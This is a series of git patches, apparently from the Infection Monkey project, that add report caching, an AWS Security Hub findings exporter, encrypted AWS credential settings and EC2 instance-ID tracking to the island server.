generated_report['value'] + return True @staticmethod - def set_report_generated(): - mongo.db.report.update( - {'name': 'generated_report'}, - {'$set': {'value': True}}, - upsert=True) - logger.info("Report marked as generated.") - - @staticmethod - def get_report(): + def generate_report(): domain_issues = ReportService.get_domain_issues() issues = ReportService.get_issues() config_users = ReportService.get_config_users() config_passwords = ReportService.get_config_passwords() cross_segment_issues = ReportService.get_cross_segment_issues() + monkey_latest_modify_time = list(NodeService.get_latest_modified_monkey())[0]['modifytime'] report = \ { @@ -710,17 +705,50 @@ class ReportService: { 'issues': issues, 'domain_issues': domain_issues + }, + 'meta': + { + 'latest_monkey_modifytime': monkey_latest_modify_time } } - - finished_run = NodeService.is_monkey_finished_running() - if finished_run: - ReportService.set_report_generated() + ReportService.export_to_exporters(report) + mongo.db.report.drop() + mongo.db.report.insert_one(report) return report + @staticmethod + def is_latest_report_exists(): + latest_report_doc = mongo.db.report.find_one({}, {'meta.latest_monkey_modifytime': 1}) + + if latest_report_doc: + report_latest_modifytime = latest_report_doc['meta']['latest_monkey_modifytime'] + latest_monkey_modifytime = NodeService.get_latest_modified_monkey()[0]['modifytime'] + return report_latest_modifytime == latest_monkey_modifytime + + return False + + @staticmethod + def get_report(): + if ReportService.is_latest_report_exists(): + return mongo.db.report.find_one() + return ReportService.generate_report() + @staticmethod def did_exploit_type_succeed(exploit_type): return mongo.db.edge.count( {'exploits': {'$elemMatch': {'exploiter': exploit_type, 'result': True}}}, limit=1) > 0 + + @staticmethod + def get_active_exporters(): + # This function should be in another module in charge of building a list of active exporters + exporters_list = [] + if load_env_from_file() == AWS: + exporters_list.append(AWSExporter) + return exporters_list + + @staticmethod + def export_to_exporters(report): + for exporter in ReportService.get_active_exporters(): + exporter.handle_report(report) diff --git a/monkey/monkey_island/requirements.txt b/monkey/monkey_island/requirements.txt index 29c364c9f..f094df947 100644 --- a/monkey/monkey_island/requirements.txt +++ b/monkey/monkey_island/requirements.txt @@ -14,3 +14,4 @@ netifaces ipaddress enum34 PyCrypto +boto3 \ No newline at end of file From dd5bbdec35166f7db840848786c63f9465808102 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Sun, 25 Nov 2018 14:17:20 +0200 Subject: [PATCH 031/201] * encrypted config --- monkey/monkey_island/cc/services/config.py | 37 ++++++++++++++++++- .../ui/src/components/pages/ConfigurePage.js | 2 +- 2 files changed, 36 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 1b2966026..3c61a89a3 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -862,7 +862,37 @@ SCHEMA = { } } } - } + }, + 'island_configuration': { + 'title': 'Island Configuration', + 'type': 'object', + 'properties': + { + 'aws_config': + { + 'title': 'AWS Configuration', + 'type': 'object', + 'properties': + { + 'iam_role_id': + { + 'title': 'IAM role ID', + 'type': 'string' + }, + 'aws_access_key': + { + 'title': 'AWS access key ID', + 'type': 'string' + }, + 'aws_secret_access_key': + { + 'title': 'AWS Secret Access Key', + 'type': 'string' + } + } + } + } + } }, "options": { "collapsed": True @@ -875,7 +905,10 @@ ENCRYPTED_CONFIG_ARRAYS = \ ['basic', 'credentials', 'exploit_password_list'], ['internal', 'exploits', 'exploit_lm_hash_list'], ['internal', 'exploits', 'exploit_ntlm_hash_list'], - ['internal', 'exploits', 'exploit_ssh_keys'] + ['internal', 'exploits', 'exploit_ssh_keys'], + ['island_configuration', 'aws_config', 'iam_role_id'], + ['island_configuration', 'aws_config', 'aws_access_key'], + ['island_configuration', 'aws_config', 'aws_secret_access_key'], ] # This should be used for config values of string type diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index a97447df0..7e08170e2 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -10,7 +10,7 @@ class ConfigurePageComponent extends AuthComponent { this.currentSection = 'basic'; this.currentFormData = {}; - this.sectionsOrder = ['basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal']; + this.sectionsOrder = ['basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal', 'monkey_island']; // set schema from server this.state = { From f8f7421c4724e0bfcf8147107d26919f8e8f58d0 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 26 Nov 2018 11:48:43 +0200 Subject: [PATCH 032/201] * Added aws creds keys to configuration * Added boto session creation using credentials * Added a flag in the get_config function to separate island configuration values from monkey ones. --- .../cc/resources/aws_exporter.py | 20 +++++- monkey/monkey_island/cc/services/config.py | 63 +++++++++---------- .../ui/src/components/pages/ConfigurePage.js | 2 +- 3 files changed, 47 insertions(+), 38 deletions(-) diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index 363114948..6295f28f3 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -4,9 +4,13 @@ from datetime import datetime import boto3 from cc.resources.exporter import Exporter +from cc.services.config import ConfigService logger = logging.getLogger(__name__) +AWS_CRED_CONFIG_KEYS = [['cnc', 'aws_config', 'aws_access_key_id'], + ['cnc', 'aws_config', 'aws_secret_access_key']] + class AWSExporter(Exporter): @@ -19,12 +23,20 @@ class AWSExporter(Exporter): for issue in issues_list[machine]: findings_list.append(AWSExporter._prepare_finding(issue)) - if not AWSExporter._send_findings(findings_list): + if not AWSExporter._send_findings(findings_list, AWSExporter._get_aws_keys()): logger.error('Exporting findings to aws failed') return False return True + @staticmethod + def _get_aws_keys(): + creds_dict = {} + for key in AWS_CRED_CONFIG_KEYS: + creds_dict[key[2]] = ConfigService.get_config_value(key) + + return creds_dict + @staticmethod def merge_two_dicts(x, y): z = x.copy() # start with x's keys and values @@ -60,9 +72,11 @@ class AWSExporter(Exporter): return AWSExporter.merge_two_dicts(finding, findings_dict[issue['type']](issue)) @staticmethod - def _send_findings(findings_list): + def _send_findings(findings_list, creds_dict): - securityhub = boto3.client('securityhub') + securityhub = boto3.client('securityhub', + aws_access_key_id=creds_dict.get('aws_access_key_id', ''), + aws_secret_access_key=creds_dict.get('aws_secret_access_key', '')) import_response = securityhub.batch_import_findings(Findings=findings_list) print import_response if import_response['ResponseMetadata']['HTTPStatusCode'] == 200: diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 3c61a89a3..6255a0656 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -639,6 +639,28 @@ SCHEMA = { "description": "The current command server the monkey is communicating with" } } + }, + 'aws_config': { + 'title': 'AWS Configuration', + 'type': 'object', + 'description': 'These credentials will be used in order to export the monkey\'s findings to the AWS Security Hub.', + 'properties': { + 'iam_role_id': { + 'title': 'IAM role ID', + 'type': 'string', + 'description': '' + }, + 'aws_access_key_id': { + 'title': 'AWS access key ID', + 'type': 'string', + 'description': 'Your AWS public access key ID, can be found in the IAM user interface in the AWS console.' + }, + 'aws_secret_access_key': { + 'title': 'AWS secret access key', + 'type': 'string', + 'description': 'Your AWS secret access key id, you can get this after creating a public access key in the console.' + } + } } } }, @@ -863,36 +885,6 @@ SCHEMA = { } } }, - 'island_configuration': { - 'title': 'Island Configuration', - 'type': 'object', - 'properties': - { - 'aws_config': - { - 'title': 'AWS Configuration', - 'type': 'object', - 'properties': - { - 'iam_role_id': - { - 'title': 'IAM role ID', - 'type': 'string' - }, - 'aws_access_key': - { - 'title': 'AWS access key ID', - 'type': 'string' - }, - 'aws_secret_access_key': - { - 'title': 'AWS Secret Access Key', - 'type': 'string' - } - } - } - } - } }, "options": { "collapsed": True @@ -906,9 +898,9 @@ ENCRYPTED_CONFIG_ARRAYS = \ ['internal', 'exploits', 'exploit_lm_hash_list'], ['internal', 'exploits', 'exploit_ntlm_hash_list'], ['internal', 'exploits', 'exploit_ssh_keys'], - ['island_configuration', 'aws_config', 'iam_role_id'], - ['island_configuration', 'aws_config', 'aws_access_key'], - ['island_configuration', 'aws_config', 'aws_secret_access_key'], + # ['cnc', 'aws_config', 'iam_role_id'], + # ['cnc', 'aws_config', 'aws_access_key_id'], + # ['cnc', 'aws_config', 'aws_secret_access_key'], ] # This should be used for config values of string type @@ -925,11 +917,12 @@ class ConfigService: pass @staticmethod - def get_config(is_initial_config=False, should_decrypt=True): + def get_config(is_initial_config=False, should_decrypt=True, is_island=False): """ Gets the entire global config. :param is_initial_config: If True, the initial config will be returned instead of the current config. :param should_decrypt: If True, all config values which are set as encrypted will be decrypted. + :param is_island: If True, will include island specific configuration parameters. :return: The entire global config. """ config = mongo.db.config.find_one({'name': 'initial' if is_initial_config else 'newconfig'}) or {} @@ -937,6 +930,8 @@ class ConfigService: config.pop(field, None) if should_decrypt and len(config) > 0: ConfigService.decrypt_config(config) + if not is_island: + config['cnc'].pop('aws_config', None) return config @staticmethod diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 7e08170e2..a97447df0 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -10,7 +10,7 @@ class ConfigurePageComponent extends AuthComponent { this.currentSection = 'basic'; this.currentFormData = {}; - this.sectionsOrder = ['basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal', 'monkey_island']; + this.sectionsOrder = ['basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal']; // set schema from server this.state = { From 1912a274222c9175cdc520f91dc1ea047ebaed09 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 26 Nov 2018 12:59:06 +0200 Subject: [PATCH 033/201] * added instance ID to each issue in an aws machine * changed findings resource to ec2 instance id instead of IP --- .../cc/resources/aws_exporter.py | 36 +++++++++---------- .../monkey_island/cc/resources/telemetry.py | 2 ++ monkey/monkey_island/cc/services/report.py | 7 ++++ 3 files changed, 27 insertions(+), 18 deletions(-) diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index 6295f28f3..3f138e688 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -93,8 +93,8 @@ class AWSExporter(Exporter): "Normalized": 100 }, "Resources": [{ - "Type": "IpAddress", - "Id": issue['dest'] + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] }], "RecordState": "ACTIVE", } @@ -118,8 +118,8 @@ class AWSExporter(Exporter): "Normalized": 100 }, "Resources": [{ - "Type": "IpAddress", - "Id": str(issue['ip_address']) + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] }], "RecordState": "ACTIVE", } @@ -143,8 +143,8 @@ class AWSExporter(Exporter): "Normalized": 100 }, "Resources": [{ - "Type": "IpAddress", - "Id": issue['ip_address'] + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] }], "RecordState": "ACTIVE", } @@ -167,8 +167,8 @@ class AWSExporter(Exporter): "Normalized": 100 }, "Resources": [{ - "Type": "IpAddress", - "Id": issue['ip_address'] + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] }], "RecordState": "ACTIVE", } @@ -191,8 +191,8 @@ class AWSExporter(Exporter): "Normalized": 100 }, "Resources": [{ - "Type": "IpAddress", - "Id": issue['ip_address'] + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] }], "RecordState": "ACTIVE", } @@ -215,8 +215,8 @@ class AWSExporter(Exporter): "Normalized": 100 }, "Resources": [{ - "Type": "IpAddress", - "Id": issue['networks'][0][:-2] + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] }], "RecordState": "ACTIVE", } @@ -243,8 +243,8 @@ class AWSExporter(Exporter): "Normalized": 100 }, "Resources": [{ - "Type": "IpAddress", - "Id": '10.0.0.1' + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] }], "RecordState": "ACTIVE", } @@ -267,8 +267,8 @@ class AWSExporter(Exporter): "Normalized": 100 }, "Resources": [{ - "Type": "IpAddress", - "Id": issue['ip_address'] + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] }], "RecordState": "ACTIVE", } @@ -291,8 +291,8 @@ class AWSExporter(Exporter): "Normalized": 100 }, "Resources": [{ - "Type": "IpAddress", - "Id": issue['ip_address'] + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] }], "RecordState": "ACTIVE", } diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index 0db3b0eb4..6fc8f06f8 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -191,6 +191,8 @@ class Telemetry(flask_restful.Resource): if 'wmi' in telemetry_json['data']: wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets) wmi_handler.process_and_handle_wmi_info() + if 'aws' in telemetry_json['data']: + mongo.db.monkey.insert({'aws_instance_id': telemetry_json['data']['instance-id']}) @staticmethod def add_ip_to_ssh_keys(ip, ssh_info): diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 1320facfe..428d5ac70 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -548,6 +548,10 @@ class ReportService: logger.info('Domain issues generated for reporting') return domain_issues_dict + @staticmethod + def get_machine_aws_instance_id(hostname): + return str(mongo.db.monkey.find({'hostname': hostname}, {'aws_instance_id': 1})) + @staticmethod def get_issues(): ISSUE_GENERATORS = [ @@ -564,8 +568,11 @@ class ReportService: for issue in issues: if issue.get('is_local', True): machine = issue.get('machine').upper() + aws_instance_id = ReportService.get_machine_aws_instance_id(issue.get('machine')) if machine not in issues_dict: issues_dict[machine] = [] + if aws_instance_id: + issue['aws_instance_id'] = aws_instance_id issues_dict[machine].append(issue) logger.info('Issues generated for reporting') return issues_dict From a00bfc17e3149f89cd4d2543ad4596592186b746 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 26 Nov 2018 14:01:46 +0200 Subject: [PATCH 034/201] * add instance id to domain issues too --- monkey/monkey_island/cc/services/report.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 428d5ac70..2d290886e 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -542,8 +542,11 @@ class ReportService: for issue in issues: if not issue.get('is_local', True): machine = issue.get('machine').upper() + aws_instance_id = ReportService.get_machine_aws_instance_id(issue.get('machine')) if machine not in domain_issues_dict: domain_issues_dict[machine] = [] + if aws_instance_id: + issue['aws_instance_id'] = aws_instance_id domain_issues_dict[machine].append(issue) logger.info('Domain issues generated for reporting') return domain_issues_dict From f506eb3dd14aa1a57a347b38cc940c04ad2ad98a Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 26 Nov 2018 15:04:25 +0200 Subject: [PATCH 035/201] * a small fixup --- monkey/monkey_island/cc/resources/telemetry.py | 2 +- monkey/monkey_island/cc/services/config.py | 6 +++--- monkey/monkey_island/cc/services/report.py | 4 ++-- 3 files changed, 6 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index 6fc8f06f8..ab911a119 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -192,7 +192,7 @@ class Telemetry(flask_restful.Resource): wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets) wmi_handler.process_and_handle_wmi_info() if 'aws' in telemetry_json['data']: - mongo.db.monkey.insert({'aws_instance_id': telemetry_json['data']['instance-id']}) + mongo.db.monkey.update_one({'_id': monkey_id}, {'aws_instance_id': telemetry_json['data']['instance-id']}) @staticmethod def add_ip_to_ssh_keys(ip, ssh_info): diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 6255a0656..1fb26cb1c 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -645,10 +645,10 @@ SCHEMA = { 'type': 'object', 'description': 'These credentials will be used in order to export the monkey\'s findings to the AWS Security Hub.', 'properties': { - 'iam_role_id': { - 'title': 'IAM role ID', + 'aws_account_id': { + 'title': 'AWS account ID', 'type': 'string', - 'description': '' + 'description': 'Your AWS account ID that is subscribed to security hub feeds' }, 'aws_access_key_id': { 'title': 'AWS access key ID', diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 2d290886e..961bb1195 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -553,7 +553,7 @@ class ReportService: @staticmethod def get_machine_aws_instance_id(hostname): - return str(mongo.db.monkey.find({'hostname': hostname}, {'aws_instance_id': 1})) + return str(list(mongo.db.monkey.find({'hostname': hostname}, {'aws_instance_id': 1}))[0]['aws_instance_id']) @staticmethod def get_issues(): @@ -754,7 +754,7 @@ class ReportService: def get_active_exporters(): # This function should be in another module in charge of building a list of active exporters exporters_list = [] - if load_env_from_file() == AWS: + if str(load_env_from_file()) == 'standard': exporters_list.append(AWSExporter) return exporters_list From 90554f63cb119dc0a498273c4de41db0b1fff127 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 27 Nov 2018 10:28:41 +0200 Subject: [PATCH 036/201] * Exceptions handling for sending findings --- monkey/monkey_island/cc/resources/aws_exporter.py | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index 3f138e688..c2082629c 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -77,11 +77,15 @@ class AWSExporter(Exporter): securityhub = boto3.client('securityhub', aws_access_key_id=creds_dict.get('aws_access_key_id', ''), aws_secret_access_key=creds_dict.get('aws_secret_access_key', '')) - import_response = securityhub.batch_import_findings(Findings=findings_list) - print import_response - if import_response['ResponseMetadata']['HTTPStatusCode'] == 200: - return True - else: + try: + import_response = securityhub.batch_import_findings(Findings=findings_list) + print import_response + if import_response['ResponseMetadata']['HTTPStatusCode'] == 200: + return True + else: + return False + except Exception as e: + logger.error('AWS security hub findings failed to send.') return False @staticmethod From a42d621340363fc7b6e8873f177dc18cf457b28d Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 27 Nov 2018 11:08:43 +0200 Subject: [PATCH 037/201] * Added another configuration endpoint for the island specific fields --- monkey/monkey_island/cc/app.py | 2 ++ .../cc/resources/island_configuration.py | 24 +++++++++++++++++++ monkey/monkey_island/cc/services/config.py | 19 ++++++++------- .../ui/src/components/pages/ConfigurePage.js | 2 +- 4 files changed, 37 insertions(+), 10 deletions(-) create mode 100644 monkey/monkey_island/cc/resources/island_configuration.py diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index a9682cc90..5bb94b611 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -18,6 +18,7 @@ from cc.resources.log import Log from cc.resources.island_logs import IslandLog from cc.resources.monkey import Monkey from cc.resources.monkey_configuration import MonkeyConfiguration +from cc.resources.island_configuration import IslandConfiguration from cc.resources.monkey_download import MonkeyDownload from cc.resources.netmap import NetMap from cc.resources.node import Node @@ -104,6 +105,7 @@ def init_app(mongo_url): api.add_resource(ClientRun, '/api/client-monkey', '/api/client-monkey/') api.add_resource(Telemetry, '/api/telemetry', '/api/telemetry/', '/api/telemetry/') api.add_resource(MonkeyConfiguration, '/api/configuration', '/api/configuration/') + api.add_resource(IslandConfiguration, '/api/configuration/island', '/api/configuration/island/') api.add_resource(MonkeyDownload, '/api/monkey/download', '/api/monkey/download/', '/api/monkey/download/') api.add_resource(NetMap, '/api/netmap', '/api/netmap/') diff --git a/monkey/monkey_island/cc/resources/island_configuration.py b/monkey/monkey_island/cc/resources/island_configuration.py new file mode 100644 index 000000000..57fda34fe --- /dev/null +++ b/monkey/monkey_island/cc/resources/island_configuration.py @@ -0,0 +1,24 @@ +import json + +import flask_restful +from flask import request, jsonify, abort + +from cc.auth import jwt_required +from cc.services.config import ConfigService + + +class IslandConfiguration(flask_restful.Resource): + @jwt_required() + def get(self): + return jsonify(schema=ConfigService.get_config_schema(), + configuration=ConfigService.get_config(False, True, True)) + + @jwt_required() + def post(self): + config_json = json.loads(request.data) + if 'reset' in config_json: + ConfigService.reset_config() + else: + if not ConfigService.update_config(config_json, should_encrypt=True): + abort(400) + return self.get() diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 1fb26cb1c..2058a61dd 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -648,17 +648,20 @@ SCHEMA = { 'aws_account_id': { 'title': 'AWS account ID', 'type': 'string', - 'description': 'Your AWS account ID that is subscribed to security hub feeds' + 'description': 'Your AWS account ID that is subscribed to security hub feeds', + 'default': " " }, 'aws_access_key_id': { 'title': 'AWS access key ID', 'type': 'string', - 'description': 'Your AWS public access key ID, can be found in the IAM user interface in the AWS console.' + 'description': 'Your AWS public access key ID, can be found in the IAM user interface in the AWS console.', + 'default': " " }, 'aws_secret_access_key': { 'title': 'AWS secret access key', 'type': 'string', - 'description': 'Your AWS secret access key id, you can get this after creating a public access key in the console.' + 'description': 'Your AWS secret access key id, you can get this after creating a public access key in the console.', + 'default': " " } } } @@ -897,16 +900,14 @@ ENCRYPTED_CONFIG_ARRAYS = \ ['basic', 'credentials', 'exploit_password_list'], ['internal', 'exploits', 'exploit_lm_hash_list'], ['internal', 'exploits', 'exploit_ntlm_hash_list'], - ['internal', 'exploits', 'exploit_ssh_keys'], - # ['cnc', 'aws_config', 'iam_role_id'], - # ['cnc', 'aws_config', 'aws_access_key_id'], - # ['cnc', 'aws_config', 'aws_secret_access_key'], + ['internal', 'exploits', 'exploit_ssh_keys'] ] # This should be used for config values of string type ENCRYPTED_CONFIG_STRINGS = \ [ - + ['cnc', 'aws_config', 'aws_access_key_id'], + ['cnc', 'aws_config', 'aws_secret_access_key'] ] @@ -931,7 +932,7 @@ class ConfigService: if should_decrypt and len(config) > 0: ConfigService.decrypt_config(config) if not is_island: - config['cnc'].pop('aws_config', None) + config.get('cnc', {}).pop('aws_config', None) return config @staticmethod diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index a97447df0..6cc7e009a 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -24,7 +24,7 @@ class ConfigurePageComponent extends AuthComponent { } componentDidMount() { - this.authFetch('/api/configuration') + this.authFetch('/api/configuration/island') .then(res => res.json()) .then(res => { let sections = []; From 8e6ab5b9f58e403692392b1f961a0a468c963a31 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 27 Nov 2018 14:13:50 +0200 Subject: [PATCH 038/201] * Added aws region getter * Moved productARN to server_config.json file --- monkey/monkey_island/cc/environment/aws.py | 4 ++++ monkey/monkey_island/cc/environment/environment.py | 9 ++++++--- monkey/monkey_island/cc/resources/aws_exporter.py | 7 +++++-- monkey/monkey_island/cc/server_config.json | 5 ++++- 4 files changed, 19 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/environment/aws.py b/monkey/monkey_island/cc/environment/aws.py index 464d42323..e3c139e90 100644 --- a/monkey/monkey_island/cc/environment/aws.py +++ b/monkey/monkey_island/cc/environment/aws.py @@ -14,6 +14,10 @@ class AwsEnvironment(Environment): def _get_instance_id(): return AWS.get_instance_id() + @staticmethod + def _get_region(): + return urllib2.urlopen('http://169.254.169.254/latest/meta-data/placement/availability-zone').read()[:-1] + def is_auth_enabled(self): return True diff --git a/monkey/monkey_island/cc/environment/environment.py b/monkey/monkey_island/cc/environment/environment.py index 70fc025c3..c15e70257 100644 --- a/monkey/monkey_island/cc/environment/environment.py +++ b/monkey/monkey_island/cc/environment/environment.py @@ -14,13 +14,16 @@ ENV_DICT = { } -def load_env_from_file(): +def load_server_configuration_from_file(): with open('monkey_island/cc/server_config.json', 'r') as f: config_content = f.read() - config_json = json.loads(config_content) - return config_json['server_config'] + return json.loads(config_content) +def load_env_from_file(): + config_json = load_server_configuration_from_file() + return config_json['server_config'] + try: __env_type = load_env_from_file() env = ENV_DICT[__env_type]() diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index c2082629c..480743026 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -5,6 +5,7 @@ import boto3 from cc.resources.exporter import Exporter from cc.services.config import ConfigService +from cc.environment.environment import load_server_configuration_from_file logger = logging.getLogger(__name__) @@ -57,10 +58,12 @@ class AWSExporter(Exporter): 'shared_passwords': AWSExporter._handle_shared_passwords_issue, } + product_arn = load_server_configuration_from_file()['aws'].get('sec_hub_product_arn', '') + finding = { "SchemaVersion": "2018-10-08", "Id": uuid.uuid4().hex, - "ProductArn": "arn:aws:securityhub:us-west-2:324264561773:product/aws/guardduty", + "ProductArn": product_arn, "GeneratorId": issue['type'], "AwsAccountId": "324264561773", "Types": [ @@ -308,4 +311,4 @@ class AWSExporter(Exporter): "Text": "The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB protocol with user {2} and its password.".format(issue['machine'], issue['ip_address'], issue['username']) } } - return finding + return finding \ No newline at end of file diff --git a/monkey/monkey_island/cc/server_config.json b/monkey/monkey_island/cc/server_config.json index 2d1a5995b..4d8644cbb 100644 --- a/monkey/monkey_island/cc/server_config.json +++ b/monkey/monkey_island/cc/server_config.json @@ -1,3 +1,6 @@ { - "server_config": "standard" + "server_config": "standard", + "aws": { + "sec_hub_product_arn": "arn:aws:securityhub:us-west-2:324264561773:product/aws/guardduty" + } } \ No newline at end of file From bf29cddf4d4921d7f492635654e0f79369709ba4 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 27 Nov 2018 14:44:39 +0200 Subject: [PATCH 039/201] * Fixed the aws env class to not be static anymore after itay's change. * Added aws region getter --- monkey/common/cloud/aws.py | 4 ++++ monkey/monkey_island/cc/environment/aws.py | 14 +++++++------- 2 files changed, 11 insertions(+), 7 deletions(-) diff --git a/monkey/common/cloud/aws.py b/monkey/common/cloud/aws.py index 53b0690f9..90267bca7 100644 --- a/monkey/common/cloud/aws.py +++ b/monkey/common/cloud/aws.py @@ -7,11 +7,15 @@ class AWS(object): def __init__(self): try: self.instance_id = urllib2.urlopen('http://169.254.169.254/latest/meta-data/instance-id').read() + self.region = urllib2.urlopen('http://169.254.169.254/latest/meta-data/placement/availability-zone').read()[:-1] except urllib2.URLError: self.instance_id = None def get_instance_id(self): return self.instance_id + def get_region(self): + return self.region + def is_aws_instance(self): return self.instance_id is not None diff --git a/monkey/monkey_island/cc/environment/aws.py b/monkey/monkey_island/cc/environment/aws.py index e3c139e90..a004a2540 100644 --- a/monkey/monkey_island/cc/environment/aws.py +++ b/monkey/monkey_island/cc/environment/aws.py @@ -8,15 +8,15 @@ __author__ = 'itay.mizeretz' class AwsEnvironment(Environment): def __init__(self): super(AwsEnvironment, self).__init__() - self._instance_id = AwsEnvironment._get_instance_id() + self.aws_info = AWS() + self._instance_id = self._get_instance_id() + self.region = self._get_region() - @staticmethod - def _get_instance_id(): - return AWS.get_instance_id() + def _get_instance_id(self): + return self.aws_info.get_instance_id() - @staticmethod - def _get_region(): - return urllib2.urlopen('http://169.254.169.254/latest/meta-data/placement/availability-zone').read()[:-1] + def _get_region(self): + return self.aws_info.get_region() def is_auth_enabled(self): return True From fb5ae63f0476d6e9134a639038664a8e4a26c49d Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 27 Nov 2018 14:45:44 +0200 Subject: [PATCH 040/201] * Fixed the aws env class to not be static anymore after itay's change. * Added aws region getter --- monkey/monkey_island/cc/environment/aws.py | 4 ---- 1 file changed, 4 deletions(-) diff --git a/monkey/monkey_island/cc/environment/aws.py b/monkey/monkey_island/cc/environment/aws.py index 2d62079e6..a004a2540 100644 --- a/monkey/monkey_island/cc/environment/aws.py +++ b/monkey/monkey_island/cc/environment/aws.py @@ -18,10 +18,6 @@ class AwsEnvironment(Environment): def _get_region(self): return self.aws_info.get_region() - @staticmethod - def _get_region(): - return urllib2.urlopen('http://169.254.169.254/latest/meta-data/placement/availability-zone').read()[:-1] - def is_auth_enabled(self): return True From 9e6b2b2d2664100efa5de13e02dda25d0a0aaec6 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 27 Nov 2018 16:57:53 +0200 Subject: [PATCH 041/201] * Added missing findings * switched to using the aws account id from the island's configuration page --- .../cc/resources/aws_exporter.py | 524 ++++++++++++------ monkey/monkey_island/cc/services/config.py | 1 + 2 files changed, 355 insertions(+), 170 deletions(-) diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index 480743026..0d9b0a157 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ 